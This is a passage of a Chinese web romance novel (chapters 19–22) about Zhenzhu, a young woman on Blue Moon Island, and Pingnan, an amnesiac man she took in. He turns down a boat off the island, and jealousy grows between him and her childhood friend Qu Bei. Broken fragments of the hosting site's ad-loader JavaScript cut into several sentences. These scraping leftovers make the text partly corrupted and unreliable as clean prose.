平南手被冲的一阵凉,感觉珍珠搓的越来越用力,疼的把手往后缩了缩:“可以了吧。” “好了。”珍珠垂眸松开了他的手,拿过干净的毛巾擦干,又贴了一块创口贴,“放心吧,死不了的。” 平南:“……你怎么还不回家?” 离他被叮已经过去半个多小时,往常这个点珍珠早就到家,要不然也不至于还要他特意跑到店里来说这件事,平南看了眼墙上的时间,可店外的雨伞桌面却都还没有收拾,一点要下班的迹象都看不到。 从不早到,从不迟到,按点下班,虽然一直没看出珍珠有什么工作的激情,但又事事情认真从不敷衍,很多时候平南都觉得珍珠也许是一个被设定好程序的机器人,踏实敬业就是她的终极编码。 今天,很不王珍珠。 珍珠恹恹道:“你管我,我今天就想晚点下班不行?” 话是这么说,珍珠还是开始收起了东西,又检查了一遍关好冷饮店的门,六点才离开。 平南看着两人的脚步,发现只要稍不注意,两人就会拉开一段很宽的距离,他走一步停三秒,好不容易两人的脚步平齐在同一水平上。 下一步,平南发现珍珠又落后了自己半步。 往复几次,他颇为漫不经心地说:“王珍珠,你要不要我背你。” 珍珠脚步一顿,抬起头定定地看着他没说话,平南移开眼,蹲下来背对着她催促道:“快点呀,你走这么慢,回家饭都要冷了。” 不知过了多久,也许只是短短的几秒钟,平南攥着衣角发皱,珍珠终于俯下身子趴在了他的背上,两条细细的胳膊搂住他的脖子。 平南心里不断告诉自己,他只是觉得王珍珠走的太慢了而已,而且她的世界这么贫瘠窄小,生活是枯燥的两点一线,就算是机器人有天也会累的,自己不过就是想快点回家吃饭,顺手做件好事而已,这算不得什么。 这里距离王家还有很长一段距离,平南拖着今天看起来低气压的珍珠往自己后背上颠了颠,走的很稳。 夕阳余晖中蓝月岛一片静寂,平南走着突然感觉到肩膀上一片温热,珍珠侧着脸颊趴在他的身上,两只手交叉搭在他身前,随着步调晃晃悠悠。 在许久的沉默里,珍珠听到了自己的声音,“你说,你以前是个什么样的人?” 平南愣了一下,把她又往上掂了掂:“你不是见过。” “就三次而已,”珍珠说,“而且我连你名字都没问。” 可想而知,他们是有多么的不熟。 也是,他们一开始本来就是陌生人。 想到这一点的珍珠拍了拍他的肩膀,平南停下脚步,“怎么了?” “放我下来,我要自己走。” 平南迟疑放下她,珍珠松开他看也不看地就往前走,脚步又恢复了往日的轻快。 直到走了很长一段距离,珍珠才发现平南没有跟上来,他还站在原地,金橘色的斜阳将他的身影勾出朦胧的光影,珍珠没有看见他脸上的怅然。 她对着远处身姿挺拔的少年喊道:“快点啊,你不是要回家。” 珍珠回头看着前方,用自己才听到的声音继续说:“我自己也可以走的很快。” 19. 第十九章 平南见到春山是在两日后的下午,他发现岛上多了许多不认识的人,像某个神秘组织一样有着相同的肤色和体格。 当然那些人同样也不认识在捡瓶子的他,于是相互默不作声地打量着,和同伴之间交换眼神。 平南不甘示弱的偏过头,对上眼神的只有一直致力于和他抢瓶子的李阿婆。 平南:“……” 李阿婆表情冷漠的夹走那个可乐瓶。 尽管那群人都很强壮,但春山依旧在人群里很出众,块头大的出众,致使平南再去到冷饮店等珍珠一起回家的时候,一眼就认出了他,还有旁边一直赞叹不已的珍珠。 他从来没见过王珍珠那样,乐不可支地仰着头,仿佛被割落的不是青壳海椰,而是无数黄灿灿的金子。 这是个力气活,珍珠没了存货,虽然岛上人并不稀罕这个,但是作为海岛冷饮店的招牌饮品,为了保持新鲜,几乎要每隔一段时间就去摘新的椰子,附近稍低的椰树早就被她摘个精光。 平南默不作声地走到她的旁边,阴恻恻道:“他是谁?” 春山闻言放下了手中的长割刀,笑道:“是平南兄弟吧。” 汗珠沿着男人黝黑凌厉的脸庞滑落,寸头粗眉,夏日汗湿的单薄布料紧紧贴在上身,勾勒健硕矫健的青年身躯。 谁是他兄弟,平南皱眉,往旁边挪了挪,避开春山伸出来的粗糙大掌。 春山不在意地顺势拍了过去,震的平南肩膀发麻,“你放心,你的事珍珠已经特意拜托过我了,我肯定会帮你办妥的。” 他的事?平南没明白春山话里的意思,习惯性地看向珍珠,“什么?” 珍珠淡淡的扫了他一眼,抱起地上一个椰子往店里走,听见身后春山厚重的嗓音:“当然是带你离开这里。” 珍珠收留平南的第十九天,蓝月岛第一批出海的渔船终于去而又返。 平南曾经最渴望的事,如今近在咫尺。 他已经快记不清楚,自己曾经是想过逃离的,却不知从哪一刻起,平南开始习惯了蓝月岛的生活。 那日他划着简陋的木船,独自驶向茫茫大海,其实只要回头看一看,就会发现蓝月岛就是离他最近的陆地。 平南的离开定在了后日的中午,离开时,春山拍的胸脯震震发颤,说不用担心,我一定会把你送到安全的地方。 他没说话,珍珠礼貌地回道:“谢谢春山哥。” …… 平南脑袋放空躺在床上,不明白自己究竟在想什么,屋外的灯光暗了下去,他翻过身看向窗外,等了很久也没有看见珍珠的身影。 虽然珍珠对他时冷时热,但救命之恩平南还是铭记在心的,突如其来就说可以离开了,平南一时没有准备,觉得时间异常的仓促,平时慢吞吞的时间现在根本不够用。 仔细想想,他其实一直没有跟珍珠说过一次谢谢,如今就要走了,平南这样想着从房间走了出去。 院子里静悄悄的,他抹黑下到一楼,推开门,静淌的莹白的月光将夜空点亮。 珍珠没上楼,他也没听到大门打开的声音,平南视线慢慢朝上移,随光望去,少女坐在天台的月光下,犹如一片薄薄的剪影画,稍纵即逝。 光线忽地暗了一侧,珍珠双手撑在粗粝的石墙上,歪了歪头,没看他。 平南对这样的高度有点紧张,不如她那般轻松的坐在身侧,“不睡干吗呢?” 珍珠开口淡声道:“吹头发。” 其实现在也不过就九点,只是王家连台电视都没有,入夜后总是关灯的很早。 平南望着远处海面上的银光,突然发现整个蓝月岛都是这样的,这里的人生活缓慢却又无比仓促,会在夜深时赶赴远洋,要在日出前抵达滩涂。 就像是被生活抽打的陀螺,不敢停歇,蓝月岛的人比起辛苦的劳作,更恐惧自己会无所事事地停下来。 这是千百年来劳动人民生活基调,要永远忙碌紧凑的辛劳,才能抚慰内心对生活恐惧的不安。 夜风静缓,平南闻到了清新的花草香,发现她发尾还是濡湿的。 珍珠突然开口道:“你走的时候我就不送你了。” 平南的表情僵在脸上:“为什么?” “哪有那么多为什么,我说过我工作很忙的。” “可是那天是中午。” 她中午有很长一段休息时间,而且冷饮店离渡口那样近。 珍珠轻飘飘地说:“那又怎么样,我中午也有很多事,我要吃饭还要睡午觉,要不然下午怎么上班。” 平南的心里涌出很多复杂的情绪,有那么一刻,他甚至很想问珍珠,为什么没有问过他的意见就帮他做这样的决定。 可他以什么身份问,人家起初就是看着自己可怜才收留的,难不成还要一直赖在这里。 珍珠像只是通知,对他的回答丝毫不感兴趣,微微扬着面孔看向远方,柔软的发丝随着晚风拂动。 晚上的风有些凉,珍珠发尾还没干透就兀地站了起来,冷硬地说:“你不睡吗?” 平南这些天在王家也养成了生物钟的习惯,以往这个点早就睡了。 他视线落在珍珠的未干的发尾:“你头发...” “不想吹了,”珍珠说:“就这样吧。” -- 平南离开的那个中午,珍珠没有回头地准时朝家的方向走去。 二十一天足以养成一个好习惯。 但是需要有人陪伴,这显然是件糟糕的事情。 或许平南是个不错的选择,清俊好看,有点笨但很善良,但珍珠绝对不能允许自己在这种事情上养成习惯。 就当是一个不清醒的梦吧,还好,故事结束在了第二十一天。 不会变成习惯,不会形成依赖,珍珠依旧是蓝月岛的珍珠,她的所有习惯不会因为任何人而改变。 王淑华自然不会因为平南的离开感到不适,吃过饭准时回到房间休息,这是王淑华多年养成的习惯。 珍珠目不斜 () { $(''.inform'').remove(); $(''#content'').append('' 视地回到自己的房间,视线一顿,她的桌子上竟然放了一个全新的吹风机。 她从有记忆起,蓝月岛就已经是夏天,海岛常年闷热,王淑华又是短发,她平日里也就没有在意,反正头发散着过一会儿也就干了。 至于以后,那就以后再想吧。 珍珠见过这个电吹风,那天老板娘侧开身子让她去挑那些杂牌风扇的时候,这个粉色的电吹风盒子就摆在后面的货架上,她只是略略地扫了一眼,毕竟冬天还没到,这个时候买显然是没有必要的,钱要花在刀刃上。 她当时跟平南好像也这样说过。 后来平南就去了礁石滩捡瓶子,其实那就是句玩笑话,捉襟见肘的王珍珠哪里有钱借给他,不过就是推辞而已,但平南却信以为真,抗拒的戴上胶质手套,拎着个蓝色的麻袋,右手持着夹钳,极其不情愿但还是去捡了一大堆塑料瓶。 他对硬币好像总是格外好奇,就跟没见过似的,每次去岛长那里换都要兑成硬币投进那个玻璃小罐里。 珍珠推了那扇她刻意避开的门,想起昨晚睡前她在门前撞上平南那小心翼翼的眼神,不知是谁先落荒而逃,总之两人在那轮圆月下后就再也没说过话,看得出两个人都极其不擅长告别。 平南在这两日似乎也是格外的忙,早出晚归,只是珍珠都没有再问。 她心想,自己只是过来看看那个新买的电风扇而已,现在没人用了,如果就这样敞开着放该有多么兜灰。 珍珠一眼看到了那个透明的玻璃罐子,里面空空如也,她记得自己上次看到的时候里面已经有小半罐,全是金灿灿的五毛硬币,后来平南就收了起来,没有再摆在桌上。 旁边老旧的木床上正摆放着叠好的凉被和枕头,衣柜整齐,所有的一切好像都和从前并无二致,唯独多了那个显眼的白色电扇。 但多的又何止这一个,她的房间不也有一个吗。 珍珠静默片刻,把手中的玻璃罐放回桌子上,将被套枕套全部拆了下来,在院子里洗净晾晒,又将那个新的风扇搬到自己的房间,如此,好似才觉得终于物归原样,功成行满。 滴落的水珠在地上渲染洇开,久久未干,珍珠背上自己的小包,和往常一样去冷饮店,在心里说还有三个小时,就又可以下班了。 她走在山坡上,看到了远处宁静的海面,没有任何渔船的踪迹,手指紧了紧背带移开视线。 下午一点五十五,这本该是蓝月岛一天最炎热的时刻,明明出门前天空还清澈明朗,现在却不知为何有些阴沉。 珍珠站在山坡上又看到那个熟悉的男人,呼吸一滞。 她眯了眯眼有些不太确定,这个点渔船早就走了,他怎么还会在这里。 平南站在原地臭着脸喊道:“王珍珠,你怎么来的这么晚,要迟到了知不知道。” 他用力扇了扇手,脸不知道是不是太阳晒的红成一片:“我都快热死了,你能不能走快点。” “作为补偿,你今天要请我喝可乐。” 20. 第二十章 平南又留在了蓝月岛,据第二天回来的春山说,一开始还好好的,后来不知怎的,大家伙讨论会天气的功夫,平南快开船的时候又跳了下去,说不走了,他还有事没做。 至于什么事。 平南给出了一堆理由,什么春山家的船刚捕捞完,上面被太阳晒的一股鱼腥味,而且春山说了今天有可能会变天,要是下雨指不定还得多难闻,这实在不是什么出发的好日子。 还有他昨天太忙了,没来得及和长风和小渔道别。 最最重要的,当然是因为还没有抓到那个穷凶极恶的歹徒,让他生不如死,知道得罪自己的后果有多么严重。 “所以说,你是觉得害你的人就在出海的人里,他把你故意推下去的。”珍珠简明扼要道。 平南:“对。” “理由呢?”珍珠有些不相信:“他为什么要推你,你是不是有被害妄想症,说不定是你摔下去的,左脚绊右脚。” 蓝月岛的人她都见过,不过都是些靠捕鱼为生的淳朴渔民,能有什么理由要去害他,这手段未免太拙笨,还很没有保障。 珍珠:“直接把你丢海里不就好了。” 平南:“……” “王珍珠,你就不能盼我点好?” 平南一时也发觉自己的逻辑站不住脚,但是作案动机和手段,那是凶手才应该回答的问题。 他烦闷的看着珍珠,自己又不是只说了这一个理由,怎么她就只记住了这个。 他朝珍珠微微扬起下巴,看起来气势凛然,“给你个机会,助我捉拿真凶。” 平南早已想好对策,抓到真凶必然不是一件容易的事,让敌人松懈的最好办法就是装作没有防备的样子,让他有新的作案时间。 “没兴趣。”珍珠一把拉开玻璃门,如往常一般继续做起了生意。 平南脸色青红交加,偏偏这时刚刚还阴沉的天又转瞬放晴了,显得他就是嫌弃春山家的渔船不肯坐,才编出这么一堆经不起推敲的话。 珍珠打开冰箱,目光在那瓶已经拧开的可乐上扫了眼,转到下面那一排。 “喏。”她推过去一瓶全新的,对着平南那张生闷气的脸说:“你不是要喝。” ....... 春山口中那场迟来的雨终究还是在傍晚时分抵达了蓝月岛,王淑华对于这件事还没来得及表态就发病了,晚上神叨叨,如平南所料一般又将他错认,拉着他‘平崽长,平崽短’的说了好多的话才哄睡下去。 平南回到二楼,看着自己空空荡荡的房间,没想到珍珠收拾的这么快,像是从来没有想过他会回来一样,二十多天,她只用了一中午就将他所有生活的痕迹全然抹去。 中午洗净的床单经过曝晒早已晾干,他抻着一角的床单,突然听到隔壁传来吹风机的强烈的呼呼声,轻轻翘了一下嘴角。 珍珠对平南的说的那些并不感兴趣,她有自己的事情要做。 捕鱼工作昼夜颠倒,大家都会休整一段时间再继续出发,陆陆续续归来的也不只有捕鱼的人,还有曲北。 曲北不常在岛上,作为岛上第一个大学生,阿财叔对他寄予厚望,他也不负所托,毕业后就留在了大城市里工作。 大抵是所有父母都是如此,不愿意让孩子重蹈自己的旧路,阿财叔捕了一辈子的鱼,自知大海的凶险,倾尽所有也要让曲北在大城市安家,连这次出海的路线都特意选了最远的那条,至今未归,就是为了快点凑点钱在大城市里给儿子买房子,要不然这次也不至于还要曲北代替他来给岛上送货。 记住曲北是一件对珍珠来说是一件很微妙的事,是一次又一次的目光碰撞,从醒来后她就发现,只要她看向曲北,就会发现曲北一直在看她。 但是那种感觉并不会让人感觉到冒犯,而且一种失而复得的珍惜,就像王淑华看她一样。 曲北不比岛上其他年轻人早早就跟随家里的渔船出海,眉宇间没有过早体会到生活艰辛的困苦,他永远是温润的,眉目疏淡稳重,让人看着就觉得莫名可靠,生出三分好感。 他也是最早除王淑华外叫她珍珠的人,虽然她总是对曲北话里的一部分存疑,但是曲北和人说话的语气总是让人很容易放下戒备心,而且他每次都对答如流,说那些过去的事充满生活化,就跟真的发生过一样,只是她都不记得了。 曲北这次回蓝月岛除了帮家里的小超市补货,还给珍珠带来了一台冰激凌机,说是公司旗下的产品,自己抽奖抽到的,拿着也没用还不如放在冷饮店里增加生意。 机器不大,曲北组装好,两个人一起按照说明书操作,做出来刚好够两份的量。 风扇在斜后方徐徐转动,珍珠和他一起坐在店里望着远处的大海,她很喜欢这种甜腻腻的食物,每次吃都有一种好似在弥补自己的心理。 有点像一直被约束的小孩,某天突然远离了父母的掌控,但心里还有一个无法填补的空洞,需要不停的满足曾经被忽略的需求才能达到一种内心的坦然。 曲北看着她心满意足露出浅浅的笑靥也忍不住轻笑,“带回来的时候还怕你会觉得麻烦,现在算是安心了。” “我很喜欢。”珍珠甜甜地对他笑道:“谢谢小北哥。” 曲北恍了下神,弯起嘴角摸摸她的头,就跟逗小孩似的,“下次给你带草莓好不好?” 珍珠:“这个季节应该没有草莓吧。” 曲北温声道:“小珍珠想吃就会有,到时候你可以加进去做成草莓冰淇淋,以前你最喜欢这个口味。” 珍珠笑了一下:“真的吗?” 她是记不清了,说这种话也无可厚非,听起来不过就是向从小的青梅竹马回忆过去的自己,曲北今年大学毕业,按照年纪比她大三岁,自醒来后一直以大哥哥的形象伴随在珍珠的身边。 曲北掐了下她的脸,佯装生气道:“你连这都忘了?亏我以前还总从家里给你拿那么多糖。” 神色正常,逻辑合理,曲北家经营着岛上唯一的小超市,这件事显然是真的。 曲北也就是说笑,哪会真的为难她,还不待珍珠想好怎么接话,他已经体贴道:“还是什么都没想起来吗?” 珍珠顿首,时至今日,她仍未记起一点蓝月岛的记忆,但凡能想起一点,也不至于一直怀疑自己的身份。 她有些失落地垂下眼眸:“你说,我会不会永远都想不起来。” “小珍珠很想想起来吗?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 曲北眸光微深,话语还是一如既往的温柔:“我倒觉得没有必要强迫自己,想不起来就算了,过去就过去吧。” 珍珠自然不认可这些话,倘若过去真的不重要,他又怎么会把那种小事记这么久。 她音调软下来,略带感伤道:“可是我很想记起来和你以前的事情。” 女孩清丽的脸庞满是寂落,抬起头轻轻咬了下柔软的唇瓣,又唤了他一句:“小北哥哥。” 曲北目光迟滞了几秒,手才抬到半空中,突然一袋白色的糕点被用力丢在了桌子上。 平南沉着脸在一旁咬牙切齿道:“你们在干什么?” 他才离开多久,怎么突然间就冒出来了一个小北哥哥。 “……”珍珠很快收回情绪,看着袋子里面的东西转移话题:“这什么?” 平南:“我怎么知道,我又不是这个岛上的。” 珍珠:“……” “是扇糕。”曲北接过话。 珍珠:“扇糕?” “嗯,因为它跟扇子形状一样,这里面是红糖,你尝尝,很甜的。”曲北拿起一小块递到她嘴边。 珍珠下意识张开嘴,平南架着手冷嗤一声,“你手干净吗你就喂她。” 这话里的敌意不言而喻,曲北一愣,不由收回了手,平南面无表情的站在那里,明明什么也没做,却给他一种居高临下的感觉,好似在暗讽他不自量力。 这是曲北第一次见到平南。 他望着平南那一张带着点稚气的感却异常俊美的脸颊,莫名感觉到一丝熟悉,就好像在哪里见过一般。 珍珠不知道他又在抽什么疯,接过那块扇糕说:“没关系,我们刚刚不是一直待在一起。” 她咬了一口,表示自己并不在意。 “这应该是谢婶做的吧。”曲北露出温和的笑,话是对平南说的,他的视线却一直停留在珍珠的身上未曾挪开。 珍珠又咬了一口,尝到了里面甜甜的红糖馅有点惊奇:“这你也看得出?”那些糕点都长的一模一样。 曲北:“她家每年都是最早做的,其他人都要等到中秋前才开始。” 珍珠不解:“中秋不都是吃月饼?” “这算一种祭祀食物。” 珍珠想起上次二妞说过的话:“祭海节?那你到时候回来吗?” 曲北笑:“当然,这是蓝月岛最重要的节日。” “王珍珠,你到底是不是蓝月岛的,怎么什么都不知道。”平南的语气有几分不耐,自己一个大活人就站在他们两个人的眼前,还你侬我侬跟看不到似的。 珍珠咽下最后一口扇糕,擦了擦手,没好气道:“谢婶怎么会给你这个?” “教谢嘉写作业给的。”其实事情要比这个复杂点,平南起初是想先从春山入手,想要找出凶手自然要先打入出海那群人的内部,但他没想到春山四肢和头脑成反比,一眼就知道答案的数学题能想这么久。 实在看不下去。 珍珠随口哦了声,见曲北正微笑等着她,这才开始介绍:“小北哥哥,这是平南。” 平南。 曲北意味深长的笑了声,伸出手:“你好,我叫曲北。” 21. 第二十一章 曲北。 平南在心里重复了一遍,舌尖抵住上颚,视线如有实质般审视感十足地扫过珍珠那张白皙的脸,冷不丁地笑了一声,但任谁都能看出来他眼里没有半点笑意在里面。 珍珠战略性拿过旁边的杯子,抿了一小口。 …… 或许她应该继续喝下去。 终于,平南不冷不热的开了口:“我知道了。” 珍珠不动声色地松了一口气,把手中的杯子放下堆笑道:“小北哥哥,你不是说还要去店里。” 平南答不理的态度在曲北的意料之中,他收回手看着男孩稍显稚嫩的脸没有过多计较,温声道:“那我晚点再去家里找你。” “好。” 直至曲北走远,平南还干站在店门口不动,珍珠几次欲言又止,分辨不出平南现在生气到什么程度,想找个契机开启话题,寻思半天目光落在新来的冰激凌机上。 忽地,平南冷冷一笑,脸上露出像是终于明白了什么的表情,转过身一句话也没说,只留给珍珠一个十分冰冷的背影。 这天平南直到天黑了才回到王家,曲北在厨房逗得王淑华开怀大笑,三个人都在厨房里,曲北听到声响还从门里探出头来和他打了一个招呼。 平南气堵,心里嘀咕他二十多岁的年纪装什么假正经,一副少年老成的样子看着就让人烦,他们什么时候熟到可以互相打招呼了。 晚上,四人坐在一起,王淑华做了一大桌子的菜,平南挑挑拣拣碗里的白米,对桌上的菜一筷子未夹,干巴巴的吃完就上楼了。 他架手坐在床边,听到楼下宛如一家人的欢声笑语觉得自己的内心就像一口老旧的枯井,疲惫麻木,无论多大的事情也不能再让他的心绪有任何波动。 平南躺在床上想,难道王珍珠看不出吗?他已经不是原来的他了。 直至九点,曲北才离开王家。 珍珠收拾完上楼休息,路过隔壁房间时看到里面灯光暗着,窗帘紧闭,脚步未停走到自己房门前,手刚放在把手上,隔壁突兀地传来一声咳嗽。 她滞了瞬拧动把手,设施老化的木门吱吱呀呀的被推开,隔壁房间的咳嗽声更严重了,跟要把肺咳出来似的。 珍珠迟疑的走到他的门前轻轻敲了一下,“平南。” 里面并未传来回应,咳嗽声却戛然而止,好似她这一叫唤就已经全然治好,珍珠又叫了一声见他还是没反应准备离开。 才过两秒,隔壁又咳了起来,依旧是一副要咯血的架势。 珍珠一把拧开眼前的木门,皎洁的月光先行探了进去,她又唤了声平南的名字,见还是没动静才走了进去,突然,一只灼热的大手擒住她的手腕,用力一拉将她抵在了墙边。 泠泠月色被男人隔绝在身后,温热的呼吸扑面而来,珍珠下意识膝盖一顶,平南闷哼一声,突然呼吸变得粗重起来。 他咬牙道:“王珍珠。” 珍珠手还被他箍着,一瞬间反应过来也不敢再乱动,眼睫在逐渐适应的黑暗里不断扑闪,直至平南的呼吸平缓了些才小心问道:“你没事吧。” 平南紧着腮帮子:“你说呢。” “谁让你没事又发疯的。”灯不开,在这里吓人。 “……” 珍珠想起什么似的,连忙另一只手背挡住口鼻,没发觉平南的脸色的更难看了。 “你...这是干什么?” 平南不可置信的笑了声,松开她,用极其夸张的语气笑道:“王珍珠,你不会以为我要亲你吧。” 这话说莫名其妙,她不过就是想起他前面一直在咳嗽,怕他传染而已,珍珠道:“没有。” “没有就好,我跟你说,我是绝对不可能主动做这种事情的。” 平南像要证明什么,有几分沉不住气,又说:“做人不可以太贪心,上次已经是我最大的让步了。” “知道了。” 珍珠听的云里雾里,念着白天的事没和他争辩,抬起手贴在他额头上测温。 卧室只有门口那一点点光亮,珍珠看不到平南的脸红已经泛到了耳后,只感觉手下的温度好像变高了一下,她不确定的又摸了摸平南平滑的脸颊确认了一下温度。 平南没想到她竟然会这么快就对自己上下其手,才说完他最多只能接受珍珠像上次那样‘不小心’亲他一下,她就迫不及待的要摸自己,也不知道瞎黑摸个什么劲。 就在他做好准备,微微收紧小腹等待珍珠的罪恶之手降临时,珍珠放下了手。 体温在正常范围之内。 “晚上怎么只吃米饭?”她问。 平南冷哼一声,没说话,亏她还能看出来。 珍珠忍耐度不高,对他要冷漠进行到底的态度难得迁就一次,“就因为我给你取的名字?” 平南把头扭到了另一边,意思不言而喻,明摆着就是为这件事闹别扭。 珍珠:“我可以解释。” 平南眼神微动,余光偷偷瞄了她一眼,扬起下巴颏:“说我为什么是曲北的替身?” “不想好好听就算了。”珍珠耐心用完,抬步朝门外走。 “王珍珠,你有没有点良心,我说不听你就不讲。” 平南气急,跟被踩着痛脚一样:“你还说没有,你就把我当他的替身。” “你自己不想听和我有什么关系。” 平南一噎沉默了下来,他想听的,可他也在害怕。 为什么他的名字刚好和曲北相反,为什么曲北在他会离开的后一天就来到岛上,她以前是在透过自己看曲北的影子吗? 为什么对他就凶巴巴的,对曲北就会乖声叫小北哥哥,她不喜欢自己背她,却允许曲北揉她的头发,她也没对他那样笑过。 平南低着头神色隐在黑暗里,泄了口气妥协一般:“那你说。” “我不是故意的。” “……”平南轻轻扯动了下嘴角,略带自嘲地笑笑,“这就是你的解释?” 如此简单敷衍,还不如不说。 珍珠朝他走近了点,提起那日取名的前因后果:“是你非要让我给你取名字的,我说了我不会,现在又要在这里怪我。”真是没天理。 “所以你就给我取个别人相反的名字。” “我没这个意思,我就是恰好看到了那张进货单上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的签名,你当时又一直问我。”珍珠也有点苦恼,她以为平南会继续反对这个名字的,谁知道他就突然同意了。 “要不你换一个,反正这个本来也不是你的真名,有什么好在乎的。” 她那时真没想这么多,甚至就从来没有想过给他取名字,珍珠不明白这到底有什么好生气的,但她不太喜欢这种有点像在闹别扭的感觉,拉过平南的手说:“你自己换一个好不好。” 平南没抽回她拉着的手,只讽刺道:“换什么,大家都知道我是他的替身了。” 珍珠蹙起眉,终于抓到了重点:“替身?什么替身,你为什么要当曲北的替身?你们长的又不一样。” 一个沉稳温和,一个清俊脾气差,哪有这样找替身的。 谁会找一个脾气不好的替身,这不是自己折腾自己。 “他姓曲,你又不姓平,算个哪门子的替身。” 珍珠用力捏了捏他的手,跟泄愤似的:“你是跟我姓的,好不好。” 平南被她那跟小猫抓挠劲似的捏了捏,心里突然就不吃味了,反握住她的手,一把将她拉到身前,像他最开始想的那样一手撑在珍珠脑后的墙边,脱口而出心里那些奇怪的念头:“那我和他掉水里,你先救谁。” 珍珠:“?” 什么鬼问题,他这个鬼样子像是会愿意和曲北坐一条船的人?还一起掉进水里,怎么掉,他不把曲北推下去就不错了。 平南低头定定的看着她,有点刨根问底的意思,珍珠抬起头,在月光下正对上平南那张委屈巴巴了一下午的俊脸,直挺的鼻尖还泛着一点红。 视线相对,她看着平南浅浅滉漾的眼眸,突然听到一阵怦怦的心跳,眼皮也跟着直跳,她怔怔将手贴上了他的心口,不明白他有力的心跳声为什么会忽地清晰可闻。 掌心的温度透过薄薄的衣料朝内侵袭,平南好似被火光燎了一下,呼吸一窒,于是心跳合频了,珍珠暗自松了口气,自己猜的果然没错,就是他的心跳不规律。 平南愣了瞬,抬臂按住她想要缩回的手,勾唇低语道:“你还没有回答我。” 珍珠用力推了推他的心口,却被平南按的越来越紧,向来以她占据优势的局面在这晚悄然被翻转,珍珠抬睫盯着他的眼珠掩饰心底的紧张:“你们不是都会游泳?掉水里关我什么事。” “不管,就假设我们都不会,王珍珠,你要救谁?” “岛上那么多人,凭什么就要我救。” 像是要达到某种目的一样,平南眉梢一扬,声音缓慢而悠哉地贴近她的耳边:“不管,我就要你救。” “王珍珠,你只能救我。” 不管,不管,难道就不能想想她的死活,珍珠脾气上来,凭空生出一股力,用力推了他一把终于拉开稍许距离。 平南略感意外的弯了弯嘴角,气定神闲地收回视线,“这对你来说有那么难选吗?” 答案就在她的眼前,说出来哪怕糊弄下自己都不愿意? 珍珠冷笑一声,强压着内心的慌乱走到他面前抓住后颈的衣领,对着他又是一记顶膝:“我谁也不救,不会水还要跑到海边,要死别拉着我。” 22. 第二十二章 晨雾薄稀,空气里草木的清香还未消散,远处碧蓝潮线水天一色,珍珠挎着小包在冷饮店门口不由深深呼吸了一口新鲜空气,这时,树后突然跳出来两个小身影,齐齐叫道:“珍珠姐姐。” 珍珠猝不及防吓了一跳,被空气里的湿冷呛个正着,弯腰用力咳嗽好几声也没止住。 曲北赶忙从后面走过来,用手轻拍了拍她的后背:“没事吧。” 珍珠低着摇了摇头,抓着他的手直起身来,摸到自己脸都咳热了,再看两个小孩吓的站在原地动也不敢动,一脸做错事的心虚样。 “我没事。”她拭干眼尾,笑着对两个小孩逗弄道:“怎么真把我吓着了,你们自己又害怕。” 她也发现了,自己貌似是个很不经吓的性子,要不然也不会平南一拉她的手腕就条件反射性的还击。 谢嘉看了一眼曲北淡漠的神情,立马鼓起腮帮子甩锅:“都怪江小渔,我说了不玩她还要这样。” 小渔皱了下鼻子,玻璃球似的眼珠立刻泛出水汽,甩开他的手走到珍珠面前抽抽搭搭的道歉,小姑娘哭的那叫一个惨,仿佛受尽了这个世界上所有的委屈。 …… 这一早上可过的太热闹了,好不容易哄好一个,谢嘉不知怎么又哭了起来,看的珍珠和曲北哭笑不得。 等两个都消停下来,蓝月岛早已被火热的太阳占据上空,珍珠做好两个冰淇淋给两小孩一人手里塞一个,才终于有时间坐下来休息,一口喝掉了杯子大半的水。 曲北笑着看她喝完,眼珠转到门口小桌子旁,一天能怄气和好八百次的两个小孩身上。 “你小时候其实也挺爱哭的,每次哭的比小渔还凶。”他没忍住笑出了声,眼里漫起微光,“有一次我放学晚了,你在学校门口没等到我,在外面哭的老师都不敢继续拖堂。” “这么厉害?” “对啊,你本来就很厉害。”曲北用力扬了一下嘴角,不慎外露的情绪转瞬就已收拾妥帖。 珍珠打趣道:“你不会也每次像谢嘉这样出卖我吧。” 曲北意外的没有扯开话题,黑晴浓沉,抬手用力揉了揉她的头发反问道:“我不像这种人吗?” “不像。”非常不像。 曲北长着一张周正的好人脸,气质端方,处事尺寸有度,她没法把顽劣两个字和曲北联系在起来。 他笑:“那小珍珠喜欢我像谢嘉那样,还是现在这样?” 珍珠有时候之所以分不清大抵问题就出现在这里,她对曲北没有熟悉的感觉,却对他说的某些事有一种莫名的恍惚。 那些记忆像误落深海的沉船宝藏,你也不知道它们散落在哪里,只能隔着蒙蒙海水窥见一点模糊的影子,偶尔拾掇起一枚金币,却不能保证这究竟是不是自己的。 她抬头看向谢嘉,没有看见曲北的影子,脑海里却不合时宜的浮现起另一个人的身影。 曲北没有回答,她也不正面回答:“那小北哥哥喜欢小时候爱哭的我,还是现在的我。” 珍珠说完立马察觉自己的话里有歧义,这要曲北怎么回答,他们现在又不是小孩,坐在她面前的是一个彻头彻底的成年异性。 曲北如果承认,和告白无异。 她找补道:“我...我的意思是说...” “都喜欢。” 曲北声音不疾不徐,却格外有力:“不管是过去的小珍珠,还是现在的你,我都喜欢。” 珍珠迟疑又惊愕抬起头,说不出话来。 这走向未免太偏了点,她只是想套话,不是想听这种话。 还好这时冰淇淋冷制成功的提示音响起,珍珠慢吞吞的挤到纸杯里,回到桌位上时已然转变心态,她挑起一勺塞在嘴里,黏黏糊糊地说:“我也是,不管是以前的小北哥哥,还是现在的小北哥哥。” 曲北握着纸杯轻轻笑了一下:“真的吗?” “当然啦,难道小北哥哥刚刚说的是假话?”珍珠对上他浅棕色的眼眸,带有审判。 曲北眼神向下移了一瞬,柔声道:“自然不是。” 珍珠得到预想中的答案,适可而止没再继续在这个话题。 今日的冰淇淋虽做的更好,却不如昨日那般新鲜有趣,珍珠吃了几口就失了兴,本着不浪费的原则继续往嘴里塞,一边看谢嘉他们在地上玩井字游戏。 “平南,怎么没看到他。”曲北突然开口问。 “我知道。”小渔耳朵尖,立马举起了小手抢答,“平南哥哥在礁石滩捡瓶子。” “他每天都在那里,昨天捡到好晚才回去呢,可大一袋了,就是看起来不怎么开心。” 珍珠翘了下嘴角,原来他生气的后果是努力工作? 曲北才登岛不久,只在家里的超市和冷饮店两处走动,对平南的信息知道的并不多,只是大概从母亲那里得知,不知道怎么的他就倒在了王家的门口,还失忆了,本来是要把他送到岸上去的,结果他非要带着珍珠一起走,后来没船就一直拖到了现在。 